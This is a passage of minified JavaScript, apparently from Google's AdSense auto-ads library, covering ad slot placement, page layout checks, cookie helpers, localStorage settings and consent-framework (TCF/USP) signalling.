c=Nc(b,a)}catch(d){}return!c||"none"!=c.display&&!("absolute"==c.position&&("hidden"==c.visibility||"collapse"==c.visibility))}return!1}function ui(a,b,c){a=oi(b,a);return"rtl"==c?-a.x:a.x} function vi(a,b){var c;c=(c=b.parentElement)?(c=Nc(c,a))?c.direction:"":"";if(c){b.style.border=b.style.borderStyle=b.style.outline=b.style.outlineStyle=b.style.transition="none";b.style.borderSpacing=b.style.padding="0";si(b,c,"0px");b.style.width=Wf(a)+"px";if(0!==ui(a,b,c)){si(b,c,"0px");var d=ui(a,b,c);si(b,c,-1*d+"px");a=ui(a,b,c);0!==a&&a!==d&&si(b,c,d/(a-d)*d+"px")}b.style.zIndex=30}};function wi(a,b){this.l=a;this.j=b}wi.prototype.minWidth=function(){return this.l};wi.prototype.height=function(){return this.j};wi.prototype.h=function(a){return 300<a&&300<this.j?this.l:Math.min(1200,Math.round(a))};wi.prototype.i=function(){};function xi(a,b,c,d){d=void 0===d?function(f){return f}:d;var e;return a.style&&a.style[c]&&d(a.style[c])||(e=Nc(a,b))&&e[c]&&d(e[c])||null}function yi(a){return function(b){return b.minWidth()<=a}}function zi(a,b,c,d){var e=a&&Ai(c,b),f=Bi(b,d);return function(g){return!(e&&g.height()>=f)}}function Ci(a){return function(b){return b.height()<=a}}function Ai(a,b){return ni(a,b)<Vf(b).clientHeight-100} function Di(a,b){var c=xi(b,a,"height",K);if(c)return c;var d=b.style.height;b.style.height="inherit";c=xi(b,a,"height",K);b.style.height=d;if(c)return c;c=Infinity;do(d=b.style&&K(b.style.height))&&(c=Math.min(c,d)),(d=xi(b,a,"maxHeight",K))&&(c=Math.min(c,d));while((b=b.parentElement)&&"HTML"!=b.tagName);return c}function Bi(a,b){var c=0==pd(a);return b&&c?Math.max(250,2*Vf(a).clientHeight/3):250};var R={},Ei=(R.google_ad_channel=!0,R.google_ad_client=!0,R.google_ad_host=!0,R.google_ad_host_channel=!0,R.google_adtest=!0,R.google_tag_for_child_directed_treatment=!0,R.google_tag_for_under_age_of_consent=!0,R.google_tag_partner=!0,R.google_restrict_data_processing=!0,R.google_page_url=!0,R.google_debug_params=!0,R.google_adbreak_test=!0,R.google_ad_frequency_hint=!0,R.google_admob_interstitial_slot=!0,R.google_admob_rewarded_slot=!0,R.google_max_ad_content_rating=!0,R.google_traffic_source=!0, R),Fi=RegExp("(^| )adsbygoogle($| )");function Gi(a,b){for(var c=0;c<b.length;c++){var d=b[c],e=zc(d.Rb);a[e]=d.value}};function Hi(a,b,c,d){this.l=a;this.i=b;this.j=c;this.h=d}function Ii(a,b){var c=[];try{c=b.querySelectorAll(a.l)}catch(g){}if(!c.length)return[];b=Ya(c);b=Ji(a,b);"number"===typeof a.i&&(c=a.i,0>c&&(c+=b.length),b=0<=c&&c<b.length?[b[c]]:[]);if("number"===typeof a.j){c=[];for(var d=0;d<b.length;d++){var e=Ki(b[d]),f=a.j;0>f&&(f+=e.length);0<=f&&f<e.length&&c.push(e[f])}b=c}return b} Hi.prototype.toString=function(){return JSON.stringify({nativeQuery:this.l,occurrenceIndex:this.i,paragraphIndex:this.j,ignoreMode:this.h})};function Ji(a,b){if(null==a.h)return b;switch(a.h){case 1:return b.slice(1);case 2:return b.slice(0,b.length-1);case 3:return b.slice(1,b.length-1);case 0:return b;default:throw Error("Unknown ignore mode: "+a.h);}}function Ki(a){var b=[];xd(a.getElementsByTagName("p"),function(c){100<=Li(c)&&b.push(c)});return b} function Li(a){if(3==a.nodeType)return a.length;if(1!=a.nodeType||"SCRIPT"==a.tagName)return 0;var b=0;xd(a.childNodes,function(c){b+=Li(c)});return b}function Mi(a){return 0==a.length||isNaN(a[0])?a:"\\"+(30+parseInt(a[0],10))+" "+a.substring(1)};function Ni(a){if(!a)return null;var b=A(a,7);if(A(a,1)||a.getId()||0<wb(a,4).length){var c=a.getId();b=wb(a,4);var d=A(a,1),e="";d&&(e+=d);c&&(e+="#"+Mi(c));if(b)for(c=0;c<b.length;c++)e+="."+Mi(b[c]);a=(b=e)?new Hi(b,A(a,2),A(a,5),Oi(A(a,6))):null}else a=b?new Hi(b,A(a,2),A(a,5),Oi(A(a,6))):null;return a}var Pi={1:1,2:2,3:3,0:0};function Oi(a){return null==a?a:Pi[a]}var Qi={1:0,2:1,3:2,4:3};function Ri(a){return a.google_ama_state=a.google_ama_state||{}} function Si(a){a=Ri(a);return a.optimization=a.optimization||{}};function Ti(a){switch(A(a,8)){case 1:case 2:if(null==a)var b=null;else b=G(a,Jd,1),null==b?b=null:(a=A(a,2),b=null==a?null:new Ld({Ga:[b],Ra:a}));return null!=b?Dd(b):Fd(Error("Missing dimension when creating placement id"));case 3:return Fd(Error("Missing dimension when creating placement id"));default:return Fd(Error("Invalid type: "+A(a,8)))}};function T(a){a=void 0===a?"":a;var b=Error.call(this);this.message=b.message;"stack"in b&&(this.stack=b.stack);this.name="TagError";this.message=a?"adsbygoogle.push() error: "+a:"";Error.captureStackTrace?Error.captureStackTrace(this,T):this.stack=Error().stack||""}v(T,Error);var Pf,Ui,fi=new ci;function Vi(a){null!=a&&(w.google_measure_js_timing=a);w.google_measure_js_timing||(a=fi,a.h=!1,a.i!=a.j.google_js_reporting_queue&&(bi()&&Ra(a.i,di),a.i.length=0))}(function(a){Pf=a||new Nf;"number"!==typeof w.google_srt&&(w.google_srt=Math.random());Of();Ui=new ei;Ui.Va(!0);"complete"==w.document.readyState?Vi():fi.h&&xc(w,"load",function(){Vi()})})();function Wi(a,b,c){return Ui.oa(a,b,c)}function Xi(a,b){return Ui.Oa(a,b)} function Yi(a,b,c){var d=O(Oh).h();!b.eid&&d.length&&(b.eid=d.toString());Qf(Pf,a,b,!0,c)}function Zi(a,b){Ui.Pa(a,b)}function $i(a,b,c,d){var e;Rh(b)?e=b.msg||gi(b.error):e=gi(b);return 0==e.indexOf("TagError")?(c=b instanceof Qh?b.error:b,c.pbr||(c.pbr=!0,Ui.I(a,b,.1,d,"puberror")),!1):Ui.I(a,b,c,d)};function aj(a){a=void 0===a?window:a;a=a.googletag;return(null==a?0:a.apiReady)?a:void 0};function bj(a){var b=aj(a);return b?Sa(Ta(b.pubads().getSlots(),function(c){return a.document.getElementById(c.getSlotElementId())}),function(c){return null!=c}):null}function cj(a,b){return Ya(a.document.querySelectorAll(b))}function dj(a){var b=[];a=u(a);for(var c=a.next();!c.done;c=a.next()){c=c.value;for(var d=!0,e=0;e<b.length;e++){var f=b[e];if(f.contains(c)){d=!1;break}if(c.contains(f)){d=!1;b[e]=c;break}}d&&b.push(c)}return b};function ej(a,b){function c(){d.push({anchor:e.anchor,position:e.position});return e.anchor==b.anchor&&e.position==b.position}for(var d=[],e=a;e;){switch(e.position){case 1:if(c())return d;e.position=2;case 2:if(c())return d;if(e.anchor.firstChild){e={anchor:e.anchor.firstChild,position:1};continue}else e.position=3;case 3:if(c())return d;e.position=4;case 4:if(c())return d}for(;e&&!e.anchor.nextSibling&&e.anchor.parentNode!=e.anchor.ownerDocument.body;){e={anchor:e.anchor.parentNode,position:3}; if(c())return d;e.position=4;if(c())return d}e&&e.anchor.nextSibling?e={anchor:e.anchor.nextSibling,position:1}:e=null}return d};function fj(a,b){this.i=a;this.h=b} function gj(a,b){var c=new Id,d=new Hd;b.forEach(function(e){if(Ib(e,Yd,1,ae)){e=Ib(e,Yd,1,ae);if(G(e,Wd,1)&&G(G(e,Wd,1),Jd,1)&&G(e,Wd,2)&&G(G(e,Wd,2),Jd,1)){var f=hj(a,G(G(e,Wd,1),Jd,1)),g=hj(a,G(G(e,Wd,2),Jd,1));if(f&&g)for(f=u(ej({anchor:f,position:A(G(e,Wd,1),2)},{anchor:g,position:A(G(e,Wd,2),2)})),g=f.next();!g.done;g=f.next())g=g.value,c.set(za(g.anchor),g.position)}G(e,Wd,3)&&G(G(e,Wd,3),Jd,1)&&(f=hj(a,G(G(e,Wd,3),Jd,1)))&&c.set(za(f),A(G(e,Wd,3),2))}else Ib(e,Zd,2,ae)?ij(a,Ib(e,Zd,2,ae), c):Ib(e,$d,3,ae)&&jj(a,Ib(e,$d,3,ae),d)});return new fj(c,d)}function ij(a,b,c){G(b,Jd,1)&&(a=kj(a,G(b,Jd,1)))&&a.forEach(function(d){d=za(d);c.set(d,1);c.set(d,4);c.set(d,2);c.set(d,3)})}function jj(a,b,c){G(b,Jd,1)&&(a=kj(a,G(b,Jd,1)))&&a.forEach(function(d){c.add(za(d))})}function hj(a,b){return(a=kj(a,b))&&0<a.length?a[0]:null}function kj(a,b){return(b=Ni(b))?Ii(b,a):null};function lj(){this.h=new p.Set}function mj(a){a=nj(a);return a.has("all")||a.has("after")}function oj(a){a=nj(a);return a.has("all")||a.has("before")}function pj(a,b,c){switch(c){case 2:case 3:break;case 1:case 4:b=b.parentElement;break;default:throw Error("Unknown RelativePosition: "+c);}for(c=[];b;){if(qj(b))return!0;if(a.h.has(b))break;c.push(b);b=b.parentElement}c.forEach(function(d){return a.h.add(d)});return!1} function qj(a){var b=nj(a);return a&&("AUTO-ADS-EXCLUSION-AREA"===a.tagName||b.has("inside")||b.has("all"))}function nj(a){return(a=a&&a.getAttribute("data-no-auto-ads"))?new p.Set(a.split("|")):new p.Set};function rj(a,b){if(!a)return!1;a=Nc(a,b);if(!a)return!1;a=a.cssFloat||a.styleFloat;return"left"==a||"right"==a}function sj(a){for(a=a.previousSibling;a&&1!=a.nodeType;)a=a.previousSibling;return a?a:null}function tj(a){return!!a.nextSibling||!!a.parentNode&&tj(a.parentNode)};function uj(a){var b={};a&&wb(a,6).forEach(function(c){b[c]=!0});return b}function vj(a,b,c,d,e){this.h=a;this.H=b;this.j=c;this.m=e||null;this.A=(this.C=d)?gj(a.document,H(d,Xd,5)):gj(a.document,[]);this.G=new lj;this.i=0;this.l=!1} function wj(a,b){if(a.l)return!0;a.l=!0;var c=H(a.j,ce,1);a.i=0;var d=uj(a.C);var e=a.h;try{var f=e.localStorage.getItem("google_ama_settings");var g=f?Nb(se,f):null}catch(S){g=null}var h=null!==g&&D(g,2,!1);g=Ri(e);h&&(g.eatf=!0,kd(7,[!0,0,!1]));var k=P(Ve)||P(Ue);f=P(Ue);if(k){b:{var l={fb:!1},m=cj(e,".google-auto-placed"),q=cj(e,'ins.adsbygoogle[data-anchor-shown="true"]'),t=cj(e,"ins.adsbygoogle[data-ad-format=autorelaxed]");var y=(bj(e)||cj(e,"div[id^=div-gpt-ad]")).concat(cj(e,"iframe[id^=google_ads_iframe]")); var F=cj(e,"div.trc_related_container,div.OUTBRAIN,div[id^=rcjsload],div[id^=ligatusframe],div[id^=crt-],iframe[id^=cto_iframe],div[id^=yandex_], div[id^=Ya_sync],iframe[src*=adnxs],div.advertisement--appnexus,div[id^=apn-ad],div[id^=amzn-native-ad],iframe[src*=amazon-adsystem],iframe[id^=ox_],iframe[src*=openx],img[src*=openx],div[class*=adtech],div[id^=adtech],iframe[src*=adtech],div[data-content-ad-placement=true],div.wpcnt div[id^=atatags-]"),z=cj(e,"ins.adsbygoogle-ablated-ad-slot"),E=cj(e,"div.googlepublisherpluginad"); k=[].concat(cj(e,"iframe[id^=aswift_],iframe[id^=google_ads_frame]"),cj(e,"ins.adsbygoogle"));h=[];l=u([[l.Mb,m],[l.fb,q],[l.Pb,t],[l.Nb,y],[l.Qb,F],[l.Lb,z],[l.Ob,E]]);for(m=l.next();!m.done;m=l.next())q=u(m.value),m=q.next().value,q=q.next().value,!1===m?h=h.concat(q):k=k.concat(q);k=dj(k);l=dj(h);h=k.slice(0);k=u(l);for(l=k.next();!l.done;l=k.next())for(l=l.value,m=0;m<h.length;m++)(l.contains(h[m])||h[m].contains(l))&&h.splice(m,1);e=Vf(e).clientHeight;for(k=0;k<h.length;k++)if(l=h[k].getBoundingClientRect(), !(0===l.height&&!f||l.top>e)){e=!0;break b}e=!1}g=e?g.eatfAbg=!0:!1}else g=h;if(g)return!0;g=new Hd([2]);for(e=0;e<c.length;e++){f=a;k=c[e];h=e;l=b;if(!G(k,Pd,4)||!g.contains(A(G(k,Pd,4),1))||1!==A(k,8)||k&&null!=A(k,4)&&d[A(G(k,Pd,4),2)])f=null;else{f.i++;if(k=xj(f,k,l,d))l=Ri(f.h),l.numAutoAdsPlaced||(l.numAutoAdsPlaced=0),null==l.placed&&(l.placed=[]),l.numAutoAdsPlaced++,l.placed.push({index:h,element:k.ha}),kd(7,[!1,f.i,!0]);f=k}if(f)return!0}kd(7,[!1,a.i,!1]);return!1} function xj(a,b,c,d){if(b&&null!=A(b,4)&&d[A(G(b,Pd,4),2)]||1!=A(b,8))return null;d=G(b,Jd,1);if(!d)return null;d=Ni(d);if(!d)return null;d=Ii(d,a.h.document);if(0==d.length)return null;d=d[0];var e=Qi[A(b,2)];e=void 0===e?null:e;var f;if(!(f=null==e)){a:{f=a.h;switch(e){case 0:f=rj(sj(d),f);break a;case 3:f=rj(d,f);break a;case 2:var g=d.lastChild;f=rj(g?1==g.nodeType?g:sj(g):null,f);break a}f=!1}if(c=!f&&!(!c&&2==e&&!tj(d)))c=1==e||2==e?d:d.parentNode,c=!(c&&!te(c)&&0>=c.offsetWidth);f=!c}if(!(c= f)){c=a.A;f=A(b,2);g=za(d);g=c.i.h.get(g);if(!(g=g?g.contains(f):!1))a:{if(c.h.contains(za(d)))switch(f){case 2:case 3:g=!0;break a;default:g=!1;break a}for(f=d.parentElement;f;){if(c.h.contains(za(f))){g=!0;break a}f=f.parentElement}g=!1}c=g}if(!c){c=a.G;f=A(b,2);a:switch(f){case 1:g=mj(d.previousElementSibling)||oj(d);break a;case 4:g=mj(d)||oj(d.nextElementSibling);break a;case 2:g=oj(d.firstElementChild);break a;case 3:g=mj(d.lastElementChild);break a;default:throw Error("Unknown RelativePosition: "+ f);}c=g||pj(c,d,f)}if(c)return null;c=G(b,be,3);f={};c&&(f.Wa=A(c,1),f.Ha=A(c,2),f.cb=!!xb(c,3));c=G(b,Pd,4)&&A(G(b,Pd,4),2)?A(G(b,Pd,4),2):null;c=Sd(c);g=null!=A(b,12)?A(b,12):null;g=null==g?null:new Qd(null,{google_ml_rank:g});b=yj(a,b);b=Rd(a.m,c,g,b);c=a.h;a=a.H;var h=c.document,k=f.cb||!1;g=(new Bc(h)).createElement("DIV");var l=g.style;l.width="100%";l.height="auto";l.clear=k?"both":"none";k=g.style;k.textAlign="center";f.lb&&Gi(k,f.lb);h=(new Bc(h)).createElement("INS");k=h.style;k.display= "block";k.margin="auto";k.backgroundColor="transparent";f.Wa&&(k.marginTop=f.Wa);f.Ha&&(k.marginBottom=f.Ha);f.ab&&Gi(k,f.ab);g.appendChild(h);f={ra:g,ha:h};f.ha.setAttribute("data-ad-format","auto");g=[];if(h=b&&b.Ja)f.ra.className=h.join(" ");h=f.ha;h.className="adsbygoogle";h.setAttribute("data-ad-client",a);g.length&&h.setAttribute("data-ad-channel",g.join("+"));a:{try{var m=f.ra;var q=void 0===q?0:q;if(P(Qe)){q=void 0===q?0:q;var t=Af(d,e,q);if(t.init){var y=t.init;for(d=y;d=t.ja(d);)y=d;var F= {anchor:y,position:t.na}}else F={anchor:d,position:e};m["google-ama-order-assurance"]=q;ue(m,F.anchor,F.position)}else ue(m,d,e);b:{var z=f.ha;z.dataset.adsbygoogleStatus="reserved";z.className+=" adsbygoogle-noablate";m={element:z};var E=b&&b.Qa;if(z.hasAttribute("data-pub-vars")){try{E=JSON.parse(z.getAttribute("data-pub-vars"))}catch(S){break b}z.removeAttribute("data-pub-vars")}E&&(m.params=E);(c.adsbygoogle=c.adsbygoogle||[]).push(m)}}catch(S){(z=f.ra)&&z.parentNode&&(E=z.parentNode,E.removeChild(z), te(E)&&(E.style.display=E.getAttribute("data-init-display")||"none"));z=!1;break a}z=!0}return z?f:null}function yj(a,b){return Bd(Ed(Ti(b).map(Td),function(c){Ri(a.h).exception=c}))};function zj(a){if(P(Pe))var b=null;else try{b=a.getItem("google_ama_config")}catch(d){b=null}try{var c=b?Nb(je,b):null}catch(d){c=null}return c};function Aj(a){J.call(this,a)}v(Aj,J);function Bj(a){try{var b=a.localStorage.getItem("google_auto_fc_cmp_setting")||null}catch(d){b=null}var c=b;return c?Gd(function(){return Nb(Aj,c)}):Dd(null)};function Cj(){this.S={}}function Dj(){if(Ej)return Ej;var a=md()||window,b=a.google_persistent_state_async;return null!=b&&"object"==typeof b&&null!=b.S&&"object"==typeof b.S?Ej=b:a.google_persistent_state_async=Ej=new Cj}function Fj(a){return Gj[a]||"google_ps_"+a}function Hj(a,b,c){b=Fj(b);a=a.S;var d=a[b];return void 0===d?a[b]=c:d}var Ej=null,Ij={},Gj=(Ij[8]="google_prev_ad_formats_by_region",Ij[9]="google_prev_ad_slotnames_by_region",Ij);function Jj(a){this.h=a||{cookie:""}} Jj.prototype.set=function(a,b,c){var d=!1;if("object"===typeof c){var e=c.Sb;d=c.Tb||!1;var f=c.domain||void 0;var g=c.path||void 0;var h=c.jb}if(/[;=\s]/.test(a))throw Error('Invalid cookie name "'+a+'"');if(/[;\r\n]/.test(b))throw Error('Invalid cookie value "'+b+'"');void 0===h&&(h=-1);this.h.cookie=a+"="+b+(f?";domain="+f:"")+(g?";path="+g:"")+(0>h?"":0==h?";expires="+(new Date(1970,1,1)).toUTCString():";expires="+(new Date(Date.now()+1E3*h)).toUTCString())+(d?";secure":"")+(null!=e?";samesite="+ e:"")};Jj.prototype.get=function(a,b){for(var c=a+"=",d=(this.h.cookie||"").split(";"),e=0,f;e<d.length;e++){f=Ja(d[e]);if(0==f.lastIndexOf(c,0))return f.substr(c.length);if(f==a)return""}return b};Jj.prototype.isEmpty=function(){return!this.h.cookie}; Jj.prototype.clear=function(){for(var a=(this.h.cookie||"").split(";"),b=[],c=[],d,e,f=0;f<a.length;f++)e=Ja(a[f]),d=e.indexOf("="),-1==d?(b.push(""),c.push(e)):(b.push(e.substring(0,d)),c.push(e.substring(d+1)));for(a=b.length-1;0<=a;a--)c=b[a],this.get(c),this.set(c,"",{jb:0,path:void 0,domain:void 0})};function Kj(a){J.call(this,a)}v(Kj,J);function Lj(a){var b=new Kj;return B(b,5,a)};function Mj(){this.A=this.A;this.G=this.G}Mj.prototype.A=!1;Mj.prototype.j=function(){if(this.G)for(;this.G.length;)this.G.shift()()};function Nj(a){void 0!==a.addtlConsent&&"string"!==typeof a.addtlConsent&&(a.addtlConsent=void 0);void 0!==a.gdprApplies&&"boolean"!==typeof a.gdprApplies&&(a.gdprApplies=void 0);return void 0!==a.tcString&&"string"!==typeof a.tcString||void 0!==a.listenerId&&"number"!==typeof a.listenerId?2:a.cmpStatus&&"error"!==a.cmpStatus?0:3}function Oj(a,b){b=void 0===b?500:b;Mj.call(this);this.h=a;this.i=null;this.m={};this.H=0;this.C=b;this.l=null}v(Oj,Mj); Oj.prototype.j=function(){this.m={};this.l&&(yc(this.h,this.l),delete this.l);delete this.m;delete this.h;delete this.i;Mj.prototype.j.call(this)};function Pj(a){return"function"===typeof a.h.__tcfapi||null!=Qj(a)} Oj.prototype.addEventListener=function(a){function b(f,g){clearTimeout(e);f?(c=f,c.internalErrorState=Nj(c),g&&0===c.internalErrorState||(c.tcString="tcunavailable",g||(c.internalErrorState=3))):(c.tcString="tcunavailable",c.internalErrorState=3);a(c)}var c={},d=wc(function(){return a(c)}),e=0;-1!==this.C&&(e=setTimeout(function(){c.tcString="tcunavailable";c.internalErrorState=1;d()},this.C));try{Rj(this,"addEventListener",b)}catch(f){c.tcString="tcunavailable",c.internalErrorState=3,e&&(clearTimeout(e), e=0),d()}};Oj.prototype.removeEventListener=function(a){a&&a.listenerId&&Rj(this,"removeEventListener",null,a.listenerId)};function Rj(a,b,c,d){c||(c=function(){});if("function"===typeof a.h.__tcfapi)a=a.h.__tcfapi,a(b,2,c,d);else if(Qj(a)){Sj(a);var e=++a.H;a.m[e]=c;a.i&&(c={},a.i.postMessage((c.__tcfapiCall={command:b,version:2,callId:e,parameter:d},c),"*"))}else c({},!1)}function Qj(a){if(a.i)return a.i;a.i=$c(a.h,"__tcfapiLocator");return a.i} function Sj(a){a.l||(a.l=function(b){try{var c=("string"===typeof b.data?JSON.parse(b.data):b.data).__tcfapiReturn;a.m[c.callId](c.returnValue,c.success)}catch(d){}},xc(a.h,"message",a.l))};function Tj(a){var b=a.u,c=a.ta,d=a.Ia;a=Uj({u:b,Z:a.Z,ka:void 0===a.ka?!1:a.ka,la:void 0===a.la?!1:a.la});null!=a.h||"tcunav"!=a.i.message?d(a):Vj(b,c).then(function(e){return e.map(Wj)}).then(function(e){return e.map(function(f){return Xj(b,f)})}).then(d)} function Uj(a){var b=a.u,c=a.Z,d=void 0===a.ka?!1:a.ka;if(!(a=!(void 0===a.la?0:a.la)&&Pj(new Oj(b)))){if(d=!d){if(c){c=Bj(b);if(null==c.h)Ui.I(806,c.i,void 0,void 0),c=!1;else if((c=c.h.value)&&null!=A(c,1))b:switch(c=A(c,1),c){case 1:c=!0;break b;default:throw Error("Unhandled AutoGdprFeatureStatus: "+c);}else c=!1;c=!c}d=c}a=d}if(!a)return Xj(b,Lj(!0));c=Dj();return(c=Hj(c,24))?Xj(b,Wj(c)):Fd(Error("tcunav"))}function Vj(a,b){return p.Promise.race([Yj(),Zj(a,b)])} function Yj(){return(new p.Promise(function(a){var b=Dj();a={resolve:a};var c=Hj(b,25,[]);c.push(a);b.S[Fj(25)]=c})).then(ak)}function Zj(a,b){return new p.Promise(function(c){a.setTimeout(c,b,Fd(Error("tcto")))})}function ak(a){return a?Dd(a):Fd(Error("tcnull"))} function Wj(a){var b=void 0===b?!1:b;if(!1===a.gdprApplies)var c=!0;else void 0===a.internalErrorState&&(a.internalErrorState=Nj(a)),c="error"===a.cmpStatus||0!==a.internalErrorState||"loaded"===a.cmpStatus&&("tcloaded"===a.eventStatus||"useractioncomplete"===a.eventStatus)?!0:!1;if(c)if(!1===a.gdprApplies||"tcunavailable"===a.tcString||void 0===a.gdprApplies&&!b||"string"!==typeof a.tcString||!a.tcString.length)a=!0;else{var d=void 0===d?"755":d;b:{if(a.publisher&&a.publisher.restrictions&&(b=a.publisher.restrictions["1"], void 0!==b)){b=b[void 0===d?"755":d];break b}b=void 0}0===b?a=!1:a.purpose&&a.vendor?(b=a.vendor.consents,(d=!(!b||!b[void 0===d?"755":d]))&&a.purposeOneTreatment&&"CH"===a.publisherCC?a=!0:(d&&(a=a.purpose.consents,d=!(!a||!a["1"])),a=d)):a=!0}else a=!1;return Lj(a)}function Xj(a,b){a:{a=void 0===a?window:a;if(xb(b,5))try{var c=a.localStorage;break a}catch(d){}c=null}return(b=c)?Dd(b):Fd(Error("unav"))};function bk(a){J.call(this,a)}v(bk,J);function ck(a){J.call(this,a,-1,dk)}v(ck,J);var dk=[1,2];function ek(a){this.exception=a}function fk(a,b,c){this.j=a;this.h=b;this.i=c}fk.prototype.start=function(){this.l()};fk.prototype.l=function(){try{switch(this.j.document.readyState){case "complete":case "interactive":wj(this.h,!0);gk(this);break;default:wj(this.h,!1)?gk(this):this.j.setTimeout(Ea(this.l,this),100)}}catch(a){gk(this,a)}};function gk(a,b){try{var c=a.i,d=c.resolve,e=a.h;Ri(e.h);H(e.j,ce,1);d.call(c,new ek(b))}catch(f){a.i.reject(f)}};function hk(a){J.call(this,a,-1,ik)}v(hk,J);function jk(a){J.call(this,a)}v(jk,J);function kk(a){J.call(this,a)}v(kk,J);var ik=[7];function lk(a){a=(a=(new Jj(a)).get("FCCDCF",""))?a:null;try{return a?Nb(hk,a):null}catch(b){return null}};Zb({Gb:0,Fb:1,Cb:2,xb:3,Db:4,yb:5,Eb:6,Ab:7,Bb:8,wb:9,zb:10}).map(function(a){return Number(a)});Zb({Ib:0,Jb:1,Hb:2}).map(function(a){return Number(a)});function mk(a){function b(){if(!a.frames.__uspapiLocator)if(c.body){var d=Mc("IFRAME",c);d.style.display="none";d.style.width="0px";d.style.height="0px";d.style.border="none";d.style.zIndex="-1000";d.style.left="-1000px";d.style.top="-1000px";d.name="__uspapiLocator";c.body.appendChild(d)}else a.setTimeout(b,5)}var c=a.document;b()};function nk(a){this.h=a;this.i=a.document;this.j=(a=(a=lk(this.i))?G(a,kk,5)||null:null)?A(a,2):null;(a=lk(this.i))&&G(a,jk,4);(a=lk(this.i))&&G(a,jk,4)}function ok(){var a=window;a.__uspapi||a.frames.__uspapiLocator||(a=new nk(a),pk(a))}function pk(a){!a.j||a.h.__uspapi||a.h.frames.__uspapiLocator||(a.h.__uspapiManager="fc",mk(a.h),Ga(function(){return a.l.apply(a,ka(ta.apply(0,arguments)))}))} nk.prototype.l=function(a,b,c){"function"===typeof c&&"getUSPData"===a&&c({version:1,uspString:this.j},!0)};function qk(a){J.call(this,a)}v(qk,J);qk.prototype.getWidth=function(){return C(this,1,0)};qk.prototype.getHeight=function(){return C(this,2,0)};function rk(a){J.call(this,a)}v(rk,J);function sk(a){J.call(this,a)}v(sk,J);var tk=[4,5];function uk(a){var b=/[a-zA-Z0-9._~-]/,c=/%[89a-zA-Z]./;return a.replace(/(%[a-zA-Z0-9]{2})/g,function(d){if(!d.match(c)){var e=decodeURIComponent(d);if(e.match(b))return e}return d.toUpperCase()})}function vk(a){for(var b="",c=/[/%?&=]/,d=0;d<a.length;++d){var e=a[d];b=e.match(c)?b+e:b+encodeURIComponent(e)}return b};function wk(a,b){a=vk(uk(a.location.pathname)).replace(/(^\/)|(\/$)/g,"");var c=Tc(a),d=xk(a);return r(b,"find").call(b,function(e){var f=null!=A(e,7)?A(G(e,oe,7),1):A(e,1);e=null!=A(e,7)?A(G(e,oe,7),2):2;if("number"!==typeof f)return!1;switch(e){case 1:return f==c;case 2:return d[f]||!1}return!1})||null}function xk(a){for(var b={};;){b[Tc(a)]=!0;if(!a)return b;a=a.substring(0,a.lastIndexOf("/"))}};var yk={},zk=(yk.google_ad_channel=!0,yk.google_ad_host=!0,yk);function Ak(a,b){a.location.href&&a.location.href.substring&&(b.url=a.location.href.substring(0,200));Yi("ama",b,.01)}function Bk(a){var b={};Sc(zk,function(c,d){d in a&&(b[d]=a[d])});return b};function Ck(a){a=G(a,le,3);return!a||A(a,1)<=Date.now()?!1:!0}function Dk(a){return(a=zj(a))?Ck(a)?a:null:null}function Ek(a,b){try{b.removeItem("google_ama_config")}catch(c){Ak(a,{lserr:1})}};function Fk(a){J.call(this,a)}v(Fk,J);function Gk(a){J.call(this,a,-1,Hk)}v(Gk,J);var Hk=[1];function Ik(a){J.call(this,a,-1,Jk)}v(Ik,J);Ik.prototype.getId=function(){return C(this,1,0)};Ik.prototype.V=function(){return C(this,7,0)};var Jk=[2];function Kk(a){J.call(this,a,-1,Lk)}v(Kk,J);Kk.prototype.V=function(){return C(this,5,0)};var Lk=[2];function Mk(a){J.call(this,a,-1,Nk)}v(Mk,J);function Ok(a){J.call(this,a,-1,Pk)}v(Ok,J);Ok.prototype.V=function(){return C(this,1,0)};function Qk(a){J.call(this,a)}v(Qk,J);var Nk=[1,4,2,3],Pk=[2];function Rk(a){J.call(this,a,-1,Sk)}v(Rk,J);function Tk(a){return Ib(a,Gk,14,Uk)}var Sk=[19],Uk=[13,14];var Vk=void 0;function Wk(){Yf(Vk,Xf);return Vk}function Xk(a){Yf(Vk,$f);Vk=a};function Yk(a,b,c,d){c=void 0===c?"":c;return 1===b&&Zk(c,void 0===d?null:d)?!0:$k(a,c,function(e){return Ua(H(e,Tb,2),function(f){return A(f,1)===b})})}function Zk(a,b){return b?13===Cb(b,Uk)?D(Ib(b,Fk,13,Uk),1):14===Cb(b,Uk)&&""!==a&&1===wb(Tk(b),1).length&&wb(Tk(b),1)[0]===a?D(G(Tk(b),Fk,2),1):!1:!1}function al(a,b){b=C(b,18,0);-1!==b&&(a.tmod=b)}function bl(a){var b=void 0===b?"":b;var c=Ic(L)||L;return cl(c,a)?!0:$k(L,b,function(d){return Ua(wb(d,3),function(e){return e===a})})} function dl(a){return $k(w,void 0===a?"":a,function(){return!0})}function cl(a,b){a=(a=(a=a.location&&a.location.hash)&&a.match(/forced_clientside_labs=([\d,]+)/))&&a[1];return!!a&&Xa(a.split(","),b.toString())}function $k(a,b,c){a=Ic(a)||a;var d=el(a);b&&(b=rd(String(b)));return Yb(d,function(e,f){return Object.prototype.hasOwnProperty.call(d,f)&&(!b||b===f)&&c(e)})}function el(a){a=fl(a);var b={};Sc(a,function(c,d){try{var e=new Rb(c);b[d]=e}catch(f){}});return b} function fl(a){return P(xe)?(a=Uj({u:a,Z:Wk()}),null!=a.h?(gl("ok"),a=hl(a.h.value)):(gl(a.i.message),a={}),a):hl(a.localStorage)}function hl(a){try{var b=a.getItem("google_adsense_settings");if(!b)return{};var c=JSON.parse(b);return c!==Object(c)?{}:Xb(c,function(d,e){return Object.prototype.hasOwnProperty.call(c,e)&&"string"===typeof e&&Array.isArray(d)})}catch(d){return{}}}function gl(a){P(we)&&Yi("abg_adsensesettings_lserr",{s:a,g:P(xe),c:Wk(),r:.01},.01)};function il(a,b,c,d){jl(new kl(a,b,c,d))}function kl(a,b,c,d){this.u=a;this.i=b;this.j=c;this.h=d}function jl(a){Ed(Cd(Uj({u:a.u,Z:D(a.i,6)}),function(b){ll(a,b,!0)}),function(){ml(a)})}function ll(a,b,c){Ed(Cd(nl(b),function(d){ol("ok");a.h(d)}),function(){Ek(a.u,b);c?ml(a):a.h(null)})}function ml(a){Ed(Cd(pl(a),a.h),function(){ql(a)})}function ql(a){Tj({u:a.u,Z:D(a.i,6),ta:50,Ia:function(b){rl(a,b)}})}function nl(a){return(a=Dk(a))?Dd(a):Fd(Error("invlocst"))} function pl(a){a:{var b=a.u;var 